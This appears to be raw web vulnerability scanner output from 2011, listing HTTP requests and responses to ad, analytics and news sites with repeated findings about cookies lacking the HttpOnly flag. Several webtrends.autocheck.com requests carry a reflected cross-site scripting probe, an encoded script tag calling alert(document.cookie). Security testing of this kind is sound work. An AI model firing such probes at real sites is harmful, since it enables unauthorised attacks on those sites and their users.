GET /rtx/r.js?cmd=AGU&si=17295&pi=M&xs=3&pu=http%253A//www.autobytel.com/x22%2526ifu%253Dhttp%25253A//burp/show/31&v=5.5&cb=96663 HTTP/1.1 Host: tacoda.at.atwola.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ATTACID=a3Z0aWQ9MTZpZjE3YTBrcTBiZ2Q=; ANRTT=60848^1^1296494968; TData=99999|^|56780|60739|#|60848; Anxd=x; N=2:faabfca985572b481d74a4897e4d9013,71e5fe306b3f97af479b09e96a0ca00a; ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg=
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:06:44 GMT Server: Apache/1.3.37 (Unix) mod_perl/1.29 P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Cache-Control: max-age=900 Expires: Mon, 24 Jan 2011 21:21:44 GMT Set-Cookie: ANRTT=60848^1^1296494968|62722^1^1296508004; path=/; expires=Mon, 31-Jan-11 21:06:44 GMT; domain=tacoda.at.atwola.com Set-Cookie: Tsid=0^1295903204^1295905004|17295^1295903204^1295905004; path=/; expires=Mon, 24-Jan-11 21:36:44 GMT; domain=tacoda.at.atwola.com Set-Cookie: TData=99999|^|56780|60739|#|60848|62722; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: Anxd=x; expires=Tue, 25-Jan-11 03:06:44 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: N=2:71e5fe306b3f97af479b09e96a0ca00a,3c9757ed1e17089910d4221c9c7e35f4; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg6NjI3MjI=; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=.at.atwola.com Cteonnt-Length: 128 Content-Type: application/x-javascript Content-Length: 128
var ANUT=1; var ANOO=0; var ANSR=1; var ANTID='16if17a0kq0bgd'; var ANSL='99999|^|56780|60739|#|60848|62722'; ANRTXR();
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/10?ret=html&phint=pageName%3Dunknown&phint=pageRequestID%3D427D360F-AD19-8945-2CEDA65620083A33&phint=affiliateGroupName%3DSearch%20Engine%20Optimization%20Project&phint=affiliateName%3DSEO%20DTS%20-%20Google%20ABTL%2013148&phint=campaign%3D13148&phint=__bk_t%3DBuy%20your%20next%20new%20or%20used%20car%20online%20with%20our%20New%20Car%20Pricing%20Guides%2C%20Car%20Reviews%2C%20Vehicle%20Comparisons%20and%20Used%20Car%20Inventory%20services.%20%7C%20Autobytel.com&phint=__bk_k%3DPricing%2CGuide%2Cbuy%20a%20new%20car%2Cbuy%20a%20used%20auto%2Cnew%20auto%2Cused%20auto%2Cnew%20car%2Cused%20car%2Cnew%20car%20pricing%2Cused%20car%20pricing%2Cdealer%2Clocal%20dealer%2C%20new%20car%20inventory%2C%20used%20car%20inventory&limit=10&r=42794077 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bko=KJ0fyXF9XJlJlJKHRH/q9T1wLfAFvT1AcyBe3gTVD9y9Uh9aYy==; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCx8Vs/gFfw0GIU4J1ufsW6ue6EytNEOGRGe0XtExLxebEKLRWOEvz61pOXhbJFah1e9pBe3EDeyT3qbfCTgWet1w9011QZ1evAbZ+ONx49NDLpQPD9xj9OLh19DDoQSQ==; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEny79O3Jb5GExFm0Idw1IctHyG29WGJ1hQRZOiRZHZRVOARZoCSskrjZhAXj9JJ1lwpx9W+XaLUtTAlqFOxitRxgyXR9wBpxh1n/6LnutBe/6+e9pBMRtwNJFf9QY26izl; bk=dOTA6tBCxZ/sHNJo; bkc=KJhnRtPQrOgmyceoM3DF/y1exh3xnXsn0G2Cx4O8KHQRdQAy1C0oBT4pFfmCXAc3R4yxeQRsgPysC+ybOaXeMx2ueImc1DeTdkeISiT/dfKyoiXpxT1+isd5iLg4FO7OgTKb+T9jGCdWM64MdTC9XYmj/Kol18Ae2EmOIzt03wyah3MXCVMXvePsmwXeNn6wZueZQdQOlvCX83IGdO8tHMi47hridpRulXLRk4dLs0o4VJGHpA2ACmMd+XF9ky7v72KBTewyxrHE2qU9bAaXh68DdkDPHCEIUMPDF3xbv+dS9jUFQzSUEDeyK2QC27XahCK1qhIc0759TXFV/FicGmsg7vRW82+hGdJ8eicT7WYIRy13wbDjkq2FmG/w9BZIKeT=
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2981?id=CAESEEWMOpJK7G_TwnZyrwI-rS4&cver=1& HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/10?ret=html&phint=pageName%3Dunknown&phint=pageRequestID%3D427D360F-AD19-8945-2CEDA65620083A33&phint=affiliateGroupName%3DSearch%20Engine%20Optimization%20Project&phint=affiliateName%3DSEO%20DTS%20-%20Google%20ABTL%2013148&phint=campaign%3D13148&phint=__bk_t%3DBuy%20your%20next%20new%20or%20used%20car%20online%20with%20our%20New%20Car%20Pricing%20Guides%2C%20Car%20Reviews%2C%20Vehicle%20Comparisons%20and%20Used%20Car%20Inventory%20services.%20%7C%20Autobytel.com&phint=__bk_k%3DPricing%2CGuide%2Cbuy%20a%20new%20car%2Cbuy%20a%20used%20auto%2Cnew%20auto%2Cused%20auto%2Cnew%20car%2Cused%20car%2Cnew%20car%20pricing%2Cused%20car%20pricing%2Cdealer%2Clocal%20dealer%2C%20new%20car%20inventory%2C%20used%20car%20inventory&limit=10&r=42794077 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bk=Sbr2orXnuT6sHNJo; bkc=KJpMRZOQ0s5CRcM06+SUWzMZ9rJ1BcT1skIx9zawRtPQrOgmyceoMiVznXsn0Q4oCda8KHQRdQAy1C0oBT4pFfmCXAc3R4yxeQRsgPysC+ybOaXeMx2ueImcx5lgeIVF8Gny4y+gIM/pBBiYIBS+3wpBZhcXK3CfY8QCIAcXKeEIMyQWw8/jG7TlApkxwhmRl00n0k2QM1o4i1SwDZmWXp29l4rxYV/IiOd9Mzo7dGgvfta7Cww8rucbq0whFRhHIzIIG4vaoH7CdWHsiw8dryhXZSeXK56/wQ1FHe8PUyrLcLHlfWEkUNPCHmcFPDwkub3MX365DwAKScpjO9udChNidN5Q41cT27sG49z6FZy+Q7X/sgfvSDoyFC6lvod7W/nwYKxfB3e0D8oHI4rZ/dQ95omeay==; bko=KJ0qh1q9XmukguXqQpzFC1U//1zcR26Oi7N71QK0J/ai34oSxOR9PgTnh9==; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEny79O3Jb5GExFm0Idw1IctHyG29WGJ1hQRZOiRZHZRVOARZoCSskrjZhAXj9JJ1lwpx9W+XaLUtTAlqFOxitRxArHCjbX+9DvX4v9fE9l1pYhBnv6+ex0BnRy1exlBM8uqITn9YsAnPA=; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCxhSbwgwfJuNrLbgAjcW6RsvELmqx2eBcBdfw0T0U4o9Hfs9NupXHyt8uO/zgeittavDQ2DeZe/9wW4e4PD3jjcB7tNF42Kb47a5Zc1RaDVaA01OpXWzioSxcueEn4LRWOEvz61pOXhtnwn39IjGjuSySsaE4Uz4aRQDhCTsPQAWNQjWMPNTv3eTYgkyqq9yJOOLhm3tpHl4VgnZ+w0Kx1Khi2Q97AAi5te9yhFpkp9qpZCTX=; bkdc=res
The following cookie was issued by the application and does not have the HttpOnly flag set:
BIGipServercm_web=2221150380.20480.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cupbuzz HTTP/1.1 Host: titletweets.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 25 Jan 2011 13:20:50 GMT Server: Apache/2.2 Location: http://www.titletweets.com/cupbuzz Content-Length: 242 Connection: close Content-Type: text/html; charset=iso-8859-1 Set-Cookie: BIGipServercm_web=2221150380.20480.0000; path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.titletweets. ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /joomla-verzii/44-joomla-16-dojde HTTP/1.1 Host: top.net.mk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:30 GMT Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 089e4fa19af2efc7c60bdb03ea3a2cbe=27129c0bc3f4bbc294183027f453203c; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:31 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 58555
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="mk-mk" lang="mk-mk" ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:34 GMT Expires: Mon, 24 Jan 2011 16:02:34 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=6837c8c340aa3ef0:TM=1295884954:LM=1295884954:S=IxvWEj2Jnkrx4IAL; expires=Wed, 23-Jan-2013 16:02:34 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /translate_t?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wT HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:37 GMT Expires: Mon, 24 Jan 2011 16:02:37 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=58e54bef485bd12c:TM=1295884957:LM=1295884957:S=BeWfOb0gwP1Q71Gx; expires=Wed, 23-Jan-2013 16:02:37 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /translate_c HTTP/1.1 Host: translate.googleusercontent.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /x/www/delivery/ck.php HTTP/1.1 Host: trsrvr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 13:21:00 GMT Server: Apache/2.2.17 (EL) X-Powered-By: PHP/5.2.16 Pragma: no-cache Cache-Control: private, max-age=0, no-cache P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: =%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C; path=/ Set-Cookie: OAID=09f6a3c0ec377f634dbea24d32d9701c; expires=Wed, 25-Jan-2012 13:21:00 GMT; path=/ Location: http://trsrvr.com/x/www/delivery/ck.php?ct=1& Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: tweetmeme.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: ugg.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /index.php/joomla/1-joomla-16-je-tu HTTP/1.1 Host: venedet.michnica.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:41 GMT Server: Apache Vary: Host,Accept-Encoding Set-Cookie: fa5a1b42d3949309610b52593e36fa6f=1841b8d77a50e80e7a37fed80c5175b4; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 17676
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sk-sk" lang="sk-sk" dir= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: video.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Mon, 24 Jan 2011 16:02:42 GMT Expires: Mon, 24 Jan 2011 16:02:42 GMT Cache-Control: private, max-age=0 Set-Cookie: PREF=ID=80bba0dfa9870dce:TM=1295884962:LM=1295884962:S=KNIAhHHGtNDbKn6t; expires=Wed, 23-Jan-2013 16:02:42 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: VSFE_1.0 X-XSS-Protection: 1; mode=block Connection: close
<!doctype html> <meta content="text/html; charset=UTF-8" http-equiv=content-type> <meta content="Search millions of videos from across the web." name=description> <title>Google Videos</title> <script> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /videosearch HTTP/1.1 Host: video.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://video.google.com/">here</ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dcs1djgf3c87ozzcdiy9h9817_3i3h/dcs.gif?&dcsdat=1295921925437&dcssip=www.autocheck.com&dcsuri=/&dcsqry=%3FWT.mc_id=1824%26siteID=182471a71%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6dab831a574&dcsref=http://burp/show/54&WT.co_f=173.193.214.243-1295921924.19297&WT.vtid=173.193.214.243-1295921924.19297&WT.vtvs=1295921925442&WT.vt_f_tlv=0&WT.tz=-6&WT.bh=20&WT.ul=en-US&WT.cd=16&WT.sr=1920x1200&WT.jo=Yes&WT.ti=AutoCheck%20Vehicle%20History%20Reports%20Homepage%20-%20A%20Part%20of%20Experian.&WT.js=Yes&WT.jv=1.5&WT.ct=unknown&WT.bs=1155x1012&WT.fv=10.1&WT.slv=Unknown&WT.tv=8.6.2&WT.dl=0&WT.ssl=0&WT.es=www.autocheck.com/&WT.si_n=FreeVINCK&WT.si_x=1&WT.vt_f_tlh=0&WT.vt_f_d=1&WT.vt_f_s=1&WT.vt_f_a=1&WT.vt_f=1 HTTP/1.1 Host: webtrends.autocheck.com Proxy-Connection: keep-alive Referer: http://www.autocheck.com/?WT.mc_id=1824&siteID=182471a71%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6dab831a574 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WT_FPC=id=173.193.214.243-1295921924.19297:lv=1295943525442:ss=1295943525442
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 02:18:44 GMT Server: Apache/2.2.3 (Red Hat) Location: /dcs1djgf3c87ozzcdiy9h9817_3i3h/dcs.gif?dcsredirect=1&dcsdat=1295921925437&dcssip=www.autocheck.com&dcsuri=/&dcsqry=%3FWT.mc_id=1824%26siteID=182471a71%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6dab831a574&dcsref=http://burp/show/54&WT.co_f=173.193.214.243-1295921924.19297&WT.vtid=173.193.214.243-1295921924.19297&WT.vtvs=1295921925442&WT.vt_f_tlv=0&WT.tz=-6&WT.bh=20&WT.ul=en-US&WT.cd=16&WT.sr=1920x1200&WT.jo=Yes&WT.ti=AutoCheck%20Vehicle%20History%20Reports%20Homepage%20-%20A%20Part%20of%20Experian.&WT.js=Yes&WT.jv=1.5&WT.ct=unknown&WT.bs=1155x1012&WT.fv=10.1&WT.slv=Unknown&WT.tv=8.6.2&WT.dl=0&WT.ssl=0&WT.es=www.autocheck.com/&WT.si_n=FreeVINCK&WT.si_x=1&WT.vt_f_tlh=0&WT.vt_f_d=1&WT.vt_f_s=1&WT.vt_f_a=1&WT.vt_f=1 Set-Cookie: WEBTRENDS_ID=173.193.214.243-1295921924.19297; expires=Fri, 22-Jan-2021 02:18:44 GMT; path=/dcs1djgf3c87ozzcdiy9h9817_3i3h P3P: CP="NON DSP COR NID TAIa OUR NOR STA,policyref="http://www.autocheck.com/w3c/p3p.xml" Last-Modified: Thu, 18 Dec 2008 10:22:42 GMT ETag: "1658028-2b-45e4f929c8080" Accept-Ranges: bytes Content-Length: 43 Cache-Control: no-cache Pragma: no-cache Expires: -1 Connection: close Content-Type: image/gif
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dcs1djgf3c87ozzcdiy9h9817_3i3h/dcs.gif?dcsredirect=1&dcsdat=1295921925437&dcssip=www.autocheck.com&dcsuri=/&dcsqry=%3FWT.mc_id=1824%26siteID=182471a71%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6dab831a574&dcsref=http://burp/show/54&WT.co_f=173.193.214.243-1295921924.19297&WT.vtid=173.193.214.243-1295921924.19297&WT.vtvs=1295921925442&WT.vt_f_tlv=0&WT.tz=-6&WT.bh=20&WT.ul=en-US&WT.cd=16&WT.sr=1920x1200&WT.jo=Yes&WT.ti=AutoCheck%20Vehicle%20History%20Reports%20Homepage%20-%20A%20Part%20of%20Experian.&WT.js=Yes&WT.jv=1.5&WT.ct=unknown&WT.bs=1155x1012&WT.fv=10.1&WT.slv=Unknown&WT.tv=8.6.2&WT.dl=0&WT.ssl=0&WT.es=www.autocheck.com/&WT.si_n=FreeVINCK&WT.si_x=1&WT.vt_f_tlh=0&WT.vt_f_d=1&WT.vt_f_s=1&WT.vt_f_a=1&WT.vt_f=1 HTTP/1.1 Host: webtrends.autocheck.com Proxy-Connection: keep-alive Referer: http://www.autocheck.com/?WT.mc_id=1824&siteID=182471a71%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E6dab831a574 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WEBTRENDS_ID=173.193.214.243-1295921924.19297; WT_FPC=id=173.193.214.243-1295921924.19297:lv=1295943525442:ss=1295943525442
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:18:44 GMT Server: Apache/2.2.3 (Red Hat) Location: /usr/local/webtrends/sdc/util/content/wt_dcs.gif Set-Cookie: ACOOKIE=C8ctADE3My4xOTMuMjE0LjI0My0xMjk1OTIxOTI0LjE5Mjk3AAAAAAAAAAABAAAAAgAAAAQzPk0EMz5NAQAAAAEAAAAEMz5NBDM+TQAAAAA-; path=/; expires=Fri, 22-Jan-2021 02:18:44 GMT Expires: Tue, 1 Jan 1980 01:01:01 GMT P3P: CP="NON DSP COR NID TAIa OUR NOR STA,policyref="http://www.autocheck.com/w3c/p3p.xml" Last-Modified: Thu, 18 Dec 2008 10:22:42 GMT ETag: "1658028-2b-45e4f929c8080" Accept-Ranges: bytes Content-Length: 43 Cache-Control: no-cache Pragma: no-cache Expires: -1 Connection: close Content-Type: image/gif
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: widget.mibbit.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://wbe01.mibbit.com/">here</a>.</p> <hr> <a ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1401575902/world-cup-instant-twitter-replay-how-we-did-it-help-guardiancouk HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1402316381/2010-world-cup-south-african-man-killed-by-wife-kids-for-changing-tv-to-germany-australia-game-espn-soccernet HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1411828812/top-10-world-cup-twitter-trends-chart HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1412306061/source-fifa-may-sit-slovenia-us-referee-international-football-yahoo-sports HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1416869398/bbc-sport-football-world-cuo-2010-nicolas-anelka-misses-france-training HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1424331193/bbc-sport-football-capello-to-quit-if-england-fail-to-reach-last-16 HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1427486259/the-best-website-designs-of-the-2010-world-cup-webdesigner-depot HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1445743829/usa-vs-algeria-world-cup-match-could-set-new-internet-traffic-record HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1446425875/algeria-star-slaps-female-reporter-international-football-yahoo-sports HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /story/1446502910/fifacom-australia-serbia-the-matches-of-2010-fifa-world-cup-south-africa HTTP/1.1 Host: world-cup-news.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
Coyote-2-a0f0083=a0f021f:0; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bookmark.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:03:16 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/ Content-Length: 92372
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>AddThis Social Bookm ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /feed.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
